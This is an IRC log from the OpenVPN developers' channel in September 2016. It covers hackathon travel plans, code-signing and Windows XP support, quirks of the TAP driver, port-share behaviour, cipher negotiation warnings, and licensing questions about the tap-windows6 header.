<@plaisthos> ut RHEL5 is only on extended support right? 09:27 <@dazo> It has full support until end of March next year, IRC ... after that it is extended support for 2-3 years (which we do not support) 09:27 <@dazo> (or extended support can stay on last supported version) 09:27 <@syzzer> well, as long as we support 2.3 until March, we're fine, right? 09:27 <@dazo> right 09:28 <@dazo> or 2.4 if that gets out the door in too too far future 09:35 <@syzzer> I mean, we can drop 0.9.8-support in master, if we pledge to support 2.3 until RHEL5 goes EOL 09:36 * syzzer likes to reduce the maintenance burden 09:55 <@d12fk> looks like i can come to helsinki. found some budget under the bed 09:56 <@d12fk> hotel-wise it doesn't look nice though 09:56 <+krzee> maybe theres a hostel 09:56 <@d12fk> how much did you pay per night? 09:56 <@d12fk> suppose you booked already.. 09:56 <+krzee> http://www.hostelbookers.com/hostels/finland/helsinki/ 09:56 <@vpnHelper> Title: Helsinki Hostel: Book Hostels in Helsinki on hostelbookers (at www.hostelbookers.com) 09:57 <+krzee> for 'just a place to crash' ^ 09:57 <+krzee> (im not going :( ) 09:57 <@syzzer> I paid ~ 400 EUR for flight + 2 nights 09:57 <@syzzer> via expedia, so 'combo deal' 09:57 <+krzee> if you live in USA check secretflying to find the best deal to europe 09:58 <+krzee> <-- travels a bit... sometimes on a budget ;] 10:00 <@d12fk> ok 3 night deal for 230 sound reasonable then 10:00 <@d12fk> flight is 280 10:00 <@syzzer> d12fk: yeah, I think so 10:00 <+krzee> sounds good to me, especially with little notice 10:01 <@d12fk> i'll add myself to the wiki once i have actually booked tonight 10:01 <@syzzer> and nice that you're coming along! 10:01 <@d12fk> no dinner budget this time though =/ 10:02 <@syzzer> I have *some* budget from the company again, but not enough for dinner for the entire group (especially in Finland...) 10:02 <@d12fk> i could bring some six packs an dwe get hammered at the port =) 10:02 <@syzzer> hehe, sounds like plan 10:04 <@d12fk> i'll be at the other end of the city though, but i guess thats ok 10:13 <@d12fk> 30 minutes by public transport, fine 10:50 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 10:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 10:51 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:51 -!- marlinc_ is now known as marlinc 10:52 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:52 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 15:05 <@dazo> d12fk: I got flight+hotel (Radisson Blu Seaside Hotel) for ~€890 but that's a complete family deal (coming with wife and daughter) ... had to choose a different hotel than the others as there were no family rooms available on Hotel Inn) --- Day changed Tue Sep 06 2016 04:43 <@plaisthos> dazo: your flights are probably also be bit shorter than ours :) 06:53 -!- Algernop_ is now known as Algernop 08:02 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 08:07 * cron2 had to use openconnect today... "this tool definitely LACKS options!" :-) 08:08 <@cron2> (like, "--pull-filter ignore redirect-gateway --route $specificnet/24" :-) ) 08:21 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 08:21 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:28 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 08:33 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 08:33 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:31 <@vpnHelper> RSS Update - tickets: #730: Feature request: do not allow to set route to OPENVPN gateway though VPN-tunnel <https://community.openvpn.net/openvpn/ticket/730> 13:29 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 13:54 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:54 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:00 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 20:01 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 20:01 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Wed Sep 07 2016 02:17 <@cron2> http://lars.ingebrigtsen.no/2016/09/06/gmane-alive/ 02:17 <@cron2> whee! 02:17 <@vpnHelper> Title: Gmane Alive! Random Thoughts (at lars.ingebrigtsen.no) 02:41 <@d12fk> ok, booked now. arriving on thu. anyone up for sightseeing in the afternoon? 02:42 <@cron2> hey, great :-) (I'll only arrive Friday, tho... family, first week of school, all this) 03:16 <@d12fk> um, i cannot edit the hackathon page. is there any special right required? 03:17 <@mattock> d12fk: not afaik 03:17 <@mattock> maybe the spam filter gets in the way... 03:17 <@mattock> let's see 03:19 <@mattock> no, nothing from d12fk in spam monitoring 03:20 <@mattock> actually yes, you need special permission atm 03:21 <@mattock> d12fk: try now 03:23 <@d12fk> mattock: thanks, now i can edit 03:25 <@mattock> wiki editing by unauthorized users was disabled when we had the really nasty spam attack some months ago 03:26 <@mattock> now our spam filter is able to handle such attacks better, so I'll look into enabling Wiki edits again 03:29 <@mattock> d12fk: could you grant me access to the openvpn-gui project on SF.net, so that I could fix this issue: https://github.com/OpenVPN/openvpn-gui/issues/35 03:29 <@vpnHelper> Title: Make clear this repo is the official one · Issue #35 · OpenVPN/openvpn-gui · GitHub (at github.com) 03:41 <@mattock> the snapshot installers should now use the new signing key 03:41 <@d12fk> mattock: what's you username 03:42 <@mattock> mattock 03:42 <@d12fk> doh 03:42 <@mattock> :) 03:45 <@d12fk> you are admin now 03:45 <@d12fk> best to remove the git completely 03:46 <@d12fk> and maybe the support things as well since it is the official one now 03:46 <@d12fk> so shut down sf.net alll together and oint to new stuff if you want 03:46 <@d12fk> *point 03:48 <@mattock> ok, probably leave a skeleton project there, but point people to GitHub instead 03:51 <@mattock> SF.net had a nice "relocated project" option that now points to GitHub: https://sourceforge.net/projects/openvpn-gui/ 03:51 <@vpnHelper> Title: OpenVPN GUI download | SourceForge.net (at sourceforge.net) 03:58 <@mattock> regarding authenticode signatures: we may not be able to release Windows XP installers that do not trigger unknown publisher warnings anymore 03:59 <@mattock> our new code-signing key can only do SHA2 signatures afaik 04:00 <@d12fk> you might be able to get a sha1 version as well and dual sign the binaries 04:00 <@d12fk> usually they are free of cost 04:01 <@d12fk> vista can't do sha2 either 04:01 <@d12fk> .. if anyone is still using that 04:01 <@mattock> I hear that rekeying to SHA1 is no longer possible at digicert 04:01 <@mattock> it used to be an option 04:01 <@d12fk> ah ok so they pulled the plug 04:01 <@d12fk> XP should be long gone anyways 04:01 <@mattock> this might be a good time to pull the plug on XP and Vista 04:02 <@d12fk> vista doens't hurt so much, but XP will be a relieve 04:02 <@mattock> Vista in particular will be problematic, because it has driver signing enforcement, and we can no longer add a SHA1 signature to tap-windows6 04:02 <@mattock> yeah 04:02 <@d12fk> afaik we pull the plug with the interactive service already 04:02 <@mattock> yep, indeed 04:03 <@mattock> but this will affect 2.3.x which works fine on XP right now 04:03 <@d12fk> true 04:04 <@mattock> I'll follow-up on my earlier mail to openvpn-devel, as we need a decision here 05:37 <@dazo> d12fk: My family and I will land approx 16:00 local time on Thursday ... but we would need to get some dinner and probably some light sightseeing before bedtime for $kid at 19:30-ish 06:15 < lev__> dazo: with kids you might want to visit http://www.korkeasaari.fi/helsinki-zoo/ but it closes at 18 06:15 <@vpnHelper> Title: Korkeasaari (at www.korkeasaari.fi) 06:20 < lev__> and here: http://www.linnanmaki.fi/en/laitteet-ja-pelit 06:20 <@vpnHelper> Title: Rides and games | Linnanmäki (at www.linnanmaki.fi) 06:27 <@dazo> lev__: that's cool idea for my wife those days we're busy hacking! :) 06:34 <@dazo> (Thursday is a bit too short time :/) 06:37 <@cron2> what is finnish traditional food? rotten shark stuff? 06:43 < lev__> cron2: lol 06:44 <@d12fk> sauna sounds fun 06:44 < lev__> maybe smashed potato and reindeer meat 06:45 < lev__> https://en.wikipedia.org/wiki/Saut%C3%A9ed_reindeer 06:45 <@vpnHelper> Title: Sautéed reindeer - Wikipedia, the free encyclopedia (at en.wikipedia.org) 06:52 <@mattock> cron2: no, the sour shark is traditional in Iceland, and sour herring is traditional in sweden 06:53 <@mattock> we don't typically eat any sour (a.k.a. "rotten") animal meats in Finland 06:53 <@cron2> so, what's finnish traditional food, then? 06:53 <@mattock> and I would strongly advise against trying to eat sour herring ("Surströmming") - I've tried it twice and failed miserably 06:53 <@cron2> (exceptvodka) 06:53 <@mattock> meat and potatoes 06:54 <@mattock> if we cut quite a few corners 06:54 <@cron2> sounds much like czech traditional food :) 06:54 <@mattock> yes, and I would argue the same holds true for most of central / northern Europe 06:55 <@mattock> sausages, meat, potatoes, rye break, berries, mushrooms, fish, etc. 06:55 <@mattock> salads and such are not traditional, because fresh ingredients were impossible/difficult to come by about 9 months of the year 06:56 <@mattock> pickled stuff, sauerkraut and such was eaten in the winter instead 09:22 -!- Netsplit *.net <-> *.split quits: @raidz 20:14 <@vpnHelper> RSS Update - tickets: #731: iOS 10 bug OpenVPN connect 1.0.7 <https://community.openvpn.net/openvpn/ticket/731> --- Day changed Thu Sep 08 2016 01:47 <@cron2> I think I understand now why windows does "ifconfig-before-open", and I'm afraid d12fk's patch is indeed breaking things 01:48 <@cron2> if you use DHCP, the windows DHCP client will start immediately when the interface goes up. If we haven't primed the TAP-driver-DHCP-server ("ifconfig"), it won't give out correct answers, and windows might not retry in reasonable time... so this certainly needs testing 04:14 <@d12fk> so the dhcp part of the driver responds always even when it has not been prepped with dhcp config? 04:14 < Thermi> Btw, the TAP driver has some weird quirks 04:15 < Thermi> when in TUN mode and the DHCP server is disabled, it mangles DHCP packets (and others, too?) and sends those to the handle then 04:15 < Thermi> also, it seems to miss the first couple of ARP requests 04:15 < Thermi> Known/not known? 04:17 <@d12fk> well this dhcp thing has proven to be racy in the past. just google for openvpn and registerdns to find out =) 04:19 < Thermi> I guess we really need a better driver then 04:19 <@d12fk> yes please =) 04:19 < Thermi> So who's gonna pay me? :'D 04:20 <@d12fk> I'll se what I can do =P 04:20 <@d12fk> or just simply send that CV of yours already =) 04:21 < Thermi> I have to finish my BA finally first and with that, the TAP driver integration into strongSwan. 04:21 < Thermi> I can't start that many sites at the same time 04:21 < Thermi> context switching is expensive! 04:21 <@d12fk> openvpn folks know about it! =) 04:22 <@d12fk> BTW I want to have a few words about kernel leven openvpn at the hackathon. anyone interested in this topic? 04:23 < Thermi> kernel level openvpn? 04:24 <@d12fk> don't send traffic to userspace unless control packets 04:25 <@d12fk> like what ipsec is doing currently 04:25 <@d12fk> under linux that is 04:25 < Thermi> so you want to deliver data to the kernel network layer like it would have been received via a real network interface? 04:26 < Thermi> well, one could do that the same way as netflix does it with TLS media delivery 04:30 <@cron2> d12fk: I'm not sure if it will respond, or just "be silent", but I expect some issues there (and this explains why things are the way they are) -nothing unsolvable, but this needs to be tested 04:30 < Thermi> well, I'm using the tap driver without a dhcp configuration and for me, it doesn't respond 04:31 <@cron2> d12fk: wrt kernel level openvpn - as far as I understand, James has been doing this on Linux since last year already (but I'm not sure if this has been released in any way yet) 04:31 <@cron2> but he's been very silent about everything in the last year... 04:35 < Thermi> Hmh. Is he alive? 04:38 <@dazo> Oh, yes :) I've had a couple meetings with James already 04:38 <@dazo> But he is extremely busy on several fronts 04:38 <@d12fk> cron2: let's test this in helsinki 04:39 < Thermi> Sounds like he has some german genetics 04:39 <@dazo> ... 04:39 < Thermi> :> 04:40 <@d12fk> lets see how well he's dealing with the Finnish sauerkraut then =) 04:40 <@dazo> Thermi: you know that there are quite some Germans in this room .... ;-) 04:40 < Thermi> I know. 04:40 < Thermi> I'm one of them. 04:41 <@dazo> ahh :) 04:41 <@d12fk> resistance is futile dazo =) 04:41 < Thermi> We're gonna make openvpn a reich 04:42 <@dazo> lol 04:42 < Thermi> (free after SovietWomble) 04:42 < Thermi> *(based loosely on SovietWomble) 05:07 <@plaisthos> Thermi: unfortenately lev__ has some Russian roots, he will foil your plan 05:20 < Thermi> plaisthos: god damnit 05:30 <@plaisthos> dazo: your flight arrives half an hour later than mine :) 05:34 <@cron2> plaisthos: Lev__ is working for a different department now, so no longer directly involved in openvpn... 05:34 <@cron2> the Reich is coming! 05:41 < Thermi> OpenReich 05:46 <@plaisthos> ReichVPN 06:01 <@d12fk> you guys get the right message out to the folks here about ze görmens =) 06:08 <@dazo> plaisthos: arriving on Thursday as well? 06:09 <@dazo> yes, you are ... just looked at the hackathon wiki :) 06:17 <@cron2> everyone is arriving on Thursday, it seems (except me and syzzer)... :-( 06:19 <@plaisthos> isn't andj akand andj 06:19 <@plaisthos> argh 06:19 <@plaisthos> andj is also travelling with syzzer 06:45 <@cron2> yes 10:16 < Thermi> Can we have public key pinning for OpenVPN? 10:16 < Thermi> I probably asked this 3 times already 10:19 <@cron2> for the web site, or for openvpn itself? 10:20 < Thermi> for openvpn itself 10:21 < Thermi> I'm using port sharing on port 443 to hide OpenVPN as TLS to a website, but want/need to run an actual web server there, too. 10:21 < Thermi> I'd like to use Let's Encrypt as a certificate provider, but I'd also like to avoid completely trusting any certificate the server presents 10:21 <@cron2> ... so? 10:22 < Thermi> So I'd like to only trust the public/private key pair that I generated 10:23 <@cron2> we have a client-side switch that requires certain values in the server-side cert to be "what is in the client config" 10:23 * cron2 just isn't finding it 10:23 < Thermi> Right now I'm using a certificate that was issued by my own internal CA. But that obviously generates certificate warnings for anyone visiting it 10:24 <@cron2> the certificate for openssl and the certificate for the 443 web server have nothing to do with each other 10:24 <@cron2> so, run a lets-encrypt certificate for the web server, and your own-ca-cert for openvpn, and verify that with the appropriate client switches 10:25 <@cron2> (like --tls-verify cmd, --verify-x509-name <options>) 10:25 < Thermi> But I'm using port share 10:25 <@cron2> this happens on TCP level, not on "unwrap SSL level" 10:27 < Thermi> I don't get what you're telling me 10:27 < Thermi> With port-share openvpn proxies non-openvpn connections to the service that it shares the port with 10:28 < Thermi> And offers its own certificate to the client initially 10:29 < Thermi> Oh, so you mean, openvpn actually just copies the data from the TCP stream to the web server and doesn't handle the actual TLS traffic? 10:29 < Thermi> I thought it did. Oh well. That makes sense now. 10:30 < Thermi> I just looked at my webserver configuration and it indeed uses a certificate to authenticate itself 15:05 <+krzee> --cipher alg 15:05 <+krzee> Encrypt data channel packets with cipher algorithm alg. The default is BF-CBC, an abbreviation for Blowfish in Cipher Block Chaining mode. Blowfish has the advantages of being fast, very secure, and allowing key sizes of up to 448 bits. Blowfish is designed to be used in situations where keys are changed infrequently. 15:05 <+krzee> hehe i guess that needs a slight mod 15:05 <@plaisthos> :) 15:06 <@plaisthos> umbit a patch 15:09 <+krzee> i would but I have a feeling theres going to be some talk of cipher negotiation and stuff, things i dont actually know how they work yet 15:09 <+krzee> i could add it to trac tho 15:13 <@dazo> Thermi: I haven't tested --port-share in a long while ... but AFAIR, OpenVPN acts as a simple (stupid) TCP proxy if it doesn't detect an OpenVPN signature in the packet it receives 15:14 <@dazo> krzee: trac ticket would also help indeed, at least not to make us forget it :) 15:23 <@vpnHelper> RSS Update - tickets: #732: manual entry for --cipher <https://community.openvpn.net/openvpn/ticket/732> 15:26 <@plaisthos> yes --- Day changed Fri Sep 09 2016 03:21 < Thermi> dazo: Yes, I understand that now. I had the idea in mind, that openvpn would handle TLS completely, instead of acting as an TCP proxy. I switched it now and it works. 08:36 <@cron2> *grumble* 08:36 <@cron2> phillip tun-udp-p2mp[60191]: Options error: option 'fragment' cannot be used in this context 08:37 * cron2 wanted one of the existing servers to set "fragment 500" from --client-connect on certain conditions, to avoid having to run yet another server instance 08:46 <@cron2> (and it's not pushable either) 09:05 <@cron2> so. I have working reference server with --fragment 500 now (and "comp-lzo no", because with compression, "pings" just never get big enough :) ) 09:05 <@cron2> syzzer: are you around? 12:38 <@cron2> All 3 tests passed 12:38 <@cron2> (-master with #716 applied, including --fragment test) 14:39 <@dazo> Adding -std=c99 makes openvpn "useless" currently ...... 14:39 <@dazo> $ ./src/openvpn/openvpn 14:39 <@dazo> Sorry, I was built with --enable-pedantic and I am incapable of doing any real work! 14:39 <@dazo> It seems -std=c99 enables the __STRICT_ANSI__ macro, which again flips the PEDANTIC macro 14:40 <@dazo> syzzer: ^^^^ 14:54 <@cron2> dazo: this is why syzzer sent a followup patch :) 14:54 <@dazo> ahh, I didn't quite catch that patch 14:55 <@cron2> meh, gmane is back, but their message-id lookup isn't working yet 14:55 <@cron2> 1472760870-11769-1-git-send-email-steffan@karger.me 14:55 <@dazo> Yeah, I mean I saw the v3 patch and only caught that it avoided duplicated -std 14:55 <@cron2> ah :) 14:56 * cron2 has no idea what version of which compiler breaks openvpn if -pedantic is used... but maybe James still remembers 14:56 <@dazo> I'll go through patches on the ML next week 14:56 <@dazo> egcs-2.x.something? ;-) 14:57 <@dazo> I'm playing with the auth-token patches again, already updated my gitlab repos ... and will add the rest of improvements too ... then I think this is getting ready for the ML --- Day changed Sat Sep 10 2016 00:09 -!- Netsplit *.net <-> *.split quits: @dazo, @mattock, @syzzer, @vpnHelper 00:26 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 00:26 -!- ServerMode/#openvpn-devel [+o dazo] by barjavel.freenode.net 03:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:06 -!- ServerMode/#openvpn-devel [+o mattock] by barjavel.freenode.net 03:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:06 -!- ServerMode/#openvpn-devel [+o syzzer] by barjavel.freenode.net 03:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:07 -!- ServerMode/#openvpn-devel [+o vpnHelper] by barjavel.freenode.net 06:22 <@vpnHelper> RSS Update - gitrepo: Fix --mssfix when using NCP <https://github.com/OpenVPN/openvpn/commit/cbc3c5a9831b44ec7f59e8cb21e19ea364e6c0ee> 06:29 <@cron2> syzzer: with that, I have moved "cipher negotiations" to the "done!" section on http://community.openvpn.net/openvpn/wiki/StatusOfOpenvpn24 06:29 <@vpnHelper> Title: StatusOfOpenvpn24 – OpenVPN Community (at community.openvpn.net) --- Day changed Sun Sep 11 2016 02:27 <@cron2> mattock: are you around? 02:37 * cron2 needs buildbot credentials... 04:15 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 04:15 -!- mode/#openvpn-devel [+o raidz] by ChanServ 08:30 <@syzzer> cron2: I'm on holiday, so only around occasionally. Reading my mail though, as you've noticed :) 08:30 <@syzzer> and nice to have NCP in the 'done' column now 08:31 <@syzzer> oh, and *private* mail that is. If anyone needs something from me (or sends useful stuff regarding the hackathon), please use my @karger.me address 12:31 <@cron2> syzzer: the patch you sent is for 2.3 and master, I assume? 12:31 <@cron2> ah, no, it talks about "2.4"... 12:32 * cron2 should learn to read *all* of the inbound mails :) --- Day changed Mon Sep 12 2016 02:00 <@cron2> mattock: can we do a buildbot hacking session tonight? I want to add 3 new slaves, and remove one... 02:35 <@plaisthos> I have one slave that I still need to install :) 02:35 <@plaisthos> but also sports :( 03:12 <@cron2> my new VMs are mostly done, and have already uncovered that master doesn't build on NetBSD 7.0.1 (structure elements of the socket stuff, weird, had no time to check more closely) 03:12 <@cron2> what's needed now is "community VPN" and "buildmaster access"... 03:29 <@plaisthos> mattock: but if you are adding cron2's boxes/vpns certs, could you just generate entries/certs for pan.blinkt.de (Mac OS X) as well? 04:52 < Thermi> Oh wow, the TAP driver develops interesting abilities when the host has several CPUs availabler 04:53 < Thermi> the speed jumped from 4 MBit/s to 40 Mbit/s 04:53 < Thermi> (1 core, 3 cores) 04:53 < Thermi> It's still not good, but much better. 04:53 < Thermi> ACtual connectivity speed is 100 Mbit/s. 04:58 <@plaisthos> the windows tap driver is pure black magic to me anyway 04:58 < Thermi> I patched it 04:59 < Thermi> Not so much blag magic 04:59 < Thermi> There's a lot of boiler plate code in it 04:59 < Thermi> I think part of the problem is, that the driver is actually a usermode driver 04:59 < Thermi> kernel mode would be better 04:59 <@plaisthos> Thermi: patches are always welcome ;) 05:00 < Thermi> plaisthos: I know. I have to finish my BA first. ;) 05:00 < Thermi> plaisthos: If I had to make it better, I'd choose to write a new driver 05:00 < Thermi> A kernel mode driver this time with real TUN device support. :P 05:01 <@cron2> there's usermode device drivers? 05:02 < Thermi> Ah, no sorry, that was wrong 05:02 < Thermi> But there are usermode drivers 05:02 < Thermi> NDIS is a kernel mode driver standard 05:03 < Thermi> There are asserts in the code. :/ 05:04 <@dazo> Thermi: if the tap-windows6 driver can be improved .... please help us patch it!!! 05:05 <@dazo> Even if it means starting something better from scratch, that can be done too ... but it would be best if we could improve the current one most of all, as that's been tested 05:05 < Thermi> I put myself in the same boat as you guys by implementing TAP-Windows6 support in strongswan. :P 05:05 <@dazo> wow! 05:05 < Thermi> And it actually works 05:05 <@dazo> that is awesome! 05:06 <@dazo> Thermi: I see no issues if we can make that driver work out-of-the-box with both openvpn and strongswan ... and that would benefit all of us 05:06 <@dazo> more users, less code (compared to having two separate drivers) 05:07 < Thermi> dazo: To make it work with the concept of IPsec, I patched the ARP request handling (trac ticket 721) 05:08 <@dazo> that's reasonable patch to get reviewed, indeed! 05:08 < Thermi> I also looked at the source of devcon.exe, but the problem with that is, that every single step it makes to install or remove a device would have to be reimplemented, because of licensing issues 05:08 <@dazo> What's the issue there? 05:09 < Thermi> https://github.com/Microsoft/Windows-driver-samples/blob/master/LICENSE 05:09 <@vpnHelper> Title: Windows-driver-samples/LICENSE at master · Microsoft/Windows-driver-samples · GitHub (at github.com) 05:10 <@dazo> meh ... I see 05:10 < Thermi> I would like to talk about the TAP-Windows6 driver constants with you. They are licensed under the GPLv2. I need to use them to talk to the driver via IOctl 05:11 < Thermi> Now the problem is, that the part of strongSwan, which needs to use those constants has to be licensed under the MIT X11 license, so I can get that stuff upstream 05:11 < Thermi> Obviously the MIT X11 license is more liberal than the GPLV2 05:11 <@dazo> would a move to another GPL based license be more helpful? 05:12 < Thermi> So unless I get a copy of the constants under the MIT X11 license (or a more liberal one), I can't send the stuff in 05:12 <@plaisthos> The question if an API is indeed licensable 05:12 < Thermi> plaisthos: I can't follow you right now 05:12 <@dazo> API or ABI? 05:12 < Thermi> Just the constants and the names in tap-windows.h 05:13 <@plaisthos> the constants are api, right? 05:13 < Thermi> https://github.com/Thermi/tap-windows6/blob/master/src/tap-windows.h 05:13 <@vpnHelper> Title: tap-windows6/tap-windows.h at master · Thermi/tap-windows6 · GitHub (at github.com) 05:13 < Thermi> That whole file 05:13 < Thermi> I patched it and the changes are part of the patch 05:14 < Thermi> I can obviously easily relicense my own changes as MIT X11, but the rest of the file is still GPLv2 05:16 <@plaisthos> Thermi: looks like all of the file consts are from James 05:16 <@plaisthos> (minus a rename from alon later) 05:16 <@dazo> MS-PL is considered a free license by FSF, but is not directly compatible neither GPLv2 nor GPLv3 ... (https://fedoraproject.org/wiki/Licensing:Main) ... which makes me wonder where it falls short 05:16 <@vpnHelper> Title: Licensing:Main - FedoraProject (at fedoraproject.org) 05:17 <@plaisthos> james usually is very furthcoming on that issue 05:17 <@dazo> +1 05:17 < Thermi> So I should just sent an email regarding this to james? 05:18 < Thermi> I sent an email regarding this to sales@openvpn.net a couple of months ago, but never got a reply 05:18 <@dazo> Thermi: send a mail to james@ with davids@ (me) on Cc ... and I'll follow it up 05:19 < Thermi> Alright, will do. Thanks! 05:20 <@dazo> There's a hackathon later this week, so we'll meet James and I'll try to remember to discuss this with him them too ... maybe even plaisthos will help remember this too :) 05:21 < Thermi> Awesome, thanks! 05:21 * dazo need to head out for lunch 06:29 <@plaisthos> will do 06:36 <@plaisthos> syzzer: we might need to fix these: 06:36 <@plaisthos> Sep 12 13:33:30 hermes ovpn-aead-v6[2287]: hypnos.blinkt.de/146.60.156.4 WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1435', remote='link-mtu 1450' 06:37 <@plaisthos> Sep 12 13:33:30 hermes ovpn-aead-v6[2287]: hypnos.blinkt.de/146.60.156.4 WARNING: 'cipher' is used inconsistently, local='cipher AES-128-GCM', remote='cipher AES-256-GCM' 06:37 <@plaisthos> Sep 12 13:33:30 hermes ovpn-aead-v6[2287]: hypnos.blinkt.de/146.60.156.4 WARNING: 'keysize' is used inconsistently, local='keysize 128', remote='keysize 256' 06:37 <@plaisthos> that happens for for negoations from aes-128-gcm to aes-256-gcm 06:38 <@plaisthos> (on rekey) 06:39 <@syzzer> plaisthos: that's after a sigusr1, not just a rekey 06:39 <@syzzer> I'm about to send a patch to the list to fix that 06:39 <@cron2> .oO(did we open a trac on 'after sigusr1, cipher etc. need to be reset' yet?) 06:39 <@syzzer> cron2: no, I just starred debbie10t's mail for now 06:40 <@syzzer> I wondering though if we should fix the underlying option weirdness in general 06:42 <@syzzer> this undocumented behaviour, where pushing some options is allowed, but doesn't work until a sigusr1 is really confusing / weird 06:55 <@cron2> now *that* is something I'd consider a bug :) (and we have a trac ticket that relates to that, comp-lzo IIRC) 06:56 <@cron2> I didn't look closer, but with the cipher stuff, I now understand better how things happen, and *scratch head* 06:57 <@syzzer> yes, I though about that too 06:58 <@syzzer> jjk seemed to be one of the few people who actually knew this, and even seems to have used in to 'push compression' 06:58 < Thermi> dazo: The email's structure is a little bit weird. That's owed to my hate for implicit questions. But I think he'll get what I'm asking. 07:01 <@syzzer> patch on the list :) 07:02 <@plaisthos> syzzer: it is the server log, so dunno 07:03 <@syzzer> oh, ok. I'm pretty sure it's a sigusr1. 07:03 <@syzzer> (though looking at the logs, I need to restore keysize too, not just ciphername and authname... :/ 07:09 <@plaisthos> syzzer: might be usr1 on the client side 07:09 <@plaisthos> since remote is wrong 07:09 <@syzzer> yeah, that's what I meant 07:12 <@syzzer> (wow, the hotel connection is really bad, 3-8 seconds rtt...) 07:20 <@plaisthos> that is bad, even for hotel wifi standards 07:34 <@dazo> Thermi: please have a look at my response, as that will help james understanding the issue far better 07:34 < Thermi> dazo: Did so. Just came out of the shower. 07:34 < Thermi> dazo: Response will go out soon. 07:36 <@dazo> thx! 08:02 <@plaisthos> syzzer: for your email, is maybe auth-token or something else related to the challenge/response stuff (ab)using that behavior? 08:02 <@plaisthos> (haven't look yet, just a guess) 08:03 <@plaisthos> also people might misuse pushing timout related variables to "tune" reconnect behavior 08:23 <@dazo> Thermi: that's a great clarification! That's very helpful! 08:26 < Thermi> dazo: Okay. What do you think about the request? 08:45 <@cron2> syzzer, plaisthos: could someone explain to me the difference between USR1 and HUP restarts, in a way that makes sense? 09:02 <@dazo> Thermi: It is james who will need to do the final decision, but the request is now understandable ... But I have to say I agree a bit with plaisthos, as this looks more like ABI/API related ... even though I understand you need to use the contents of tap-windows.h 09:03 <@dazo> Thermi: it would surprise me if we can't find a solution to this issue, though 09:03 <@dazo> (that file isn't exactly magical, even though it simplifies things a bit) 09:04 < Thermi> dazo: I agree with what yu wrote. But it's stilly under a license, so despite it being so simple, it doesn't make it easier. :/ 09:05 <@dazo> Thermi: right, I see the license issue better ... but I have hope james will have a good answer once he responds 09:59 <@plaisthos> cron2: hup rereads config and looses other in memory information like passwords etc. 09:59 <@plaisthos> usr1 just terminates the current connnection/connection attempt 10:00 <@plaisthos> e.g. switched from wifi to mobile, stop now and reconnect 10:01 <@cron2> oh, didn't know about the "reread config" bit 10:01 <@cron2> will that also work on the server? what will it do to connected clients? 10:05 <@plaisthos> yes, no idea 10:05 <@plaisthos> Iirc terminate all sessions 11:10 <@syzzer> cron2: plaisthos said. also, I don't really know what it does on the server. As far as I understand, there are 'instance signals' and 'top signals'. If you send the process a signal using e.g. kill -sighup, that would be a 'top signal'. A sighup will most likely disconnect all clients. I have no idea what a sigusr1 does or should do. 11:33 <@cron2> maybe we can get James to give us a signal-in-openvpn 101 :-) 11:42 < valdikss> Trac detected an internal error: 11:42 < valdikss> IndexError: list index out of range 11:42 < valdikss> https://community.openvpn.net/openvpn/ticket/180 11:42 <@vpnHelper> Title: #180 (OpenVPN won't send AUTH_FAILED if client-connect plugin exited successfully but script not) – OpenVPN Community (at community.openvpn.net) 11:45 <@cron2> valdikss: so are you coming to Helsinki? 11:46 < valdikss> cron2: no, sorry 11:46 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 13:31 < valdikss> By the way, guys, do you watch strongSwan project? They made so many great plugins recently, like TPM 1.2 and 2.0 attestation support 13:39 <@ecrist> interesting 13:42 <@dazo> valdikss: regarding #180 ... that's definitely on my table ... just haven't had time to look too much at trac tickets lately 13:43 < valdikss> dazo: afaik we've fixed that issue but that ticket haven't been updated and now it's broken 13:43 <@dazo> valdikss: we have? which commit? 13:44 <@dazo> commit 6c2d790ad8f10029e95aecb0d39377ef06ea8b2a is the "latest" one which references CAS in master 13:45 < valdikss> dazo: yes, that commit 13:46 < valdikss> dazo: however it seems that it doesn't cover #180 case 13:47 <@dazo> right #521 is related but not the same 13:49 < valdikss> Some thoughts: why NCP ciphers list contains only GCM ciphers? I've added AES-128-CBC in mine in both server and client config, this would help transition from BF to AES even if client doesn't support GCM mode. 13:49 <@dazo> AFAIK, NCP won't work against non 2.4 clients 13:50 < valdikss> Yes, it won't. But you can still get OpenSSL/mbedTLS without AEAD support on some low-end devices like SoHo routers 13:50 <@dazo> ahh, right 13:50 < valdikss> And it's better to have AES-CBC than blowfish 13:50 <@dazo> syzzer: ^^^ 13:50 <@dazo> definitely! 13:51 < valdikss> And I really didn't like that ncp-cipher list is checked in runtime! 13:51 < valdikss> I made a typo, CGM not GCM, and the server worked fine with 2.3 clients but crashed when 2.4 connected 13:52 < valdikss> I think it's better to check cipher list on server start, not in the middle of something 13:53 <@dazo> that's worthy a trac ticket 13:53 <@dazo> I completely agree on the cipher list check should be done early 14:04 <@cron2> valdikss: if a client does not understand GCM, it is NOT NCP-capable 14:05 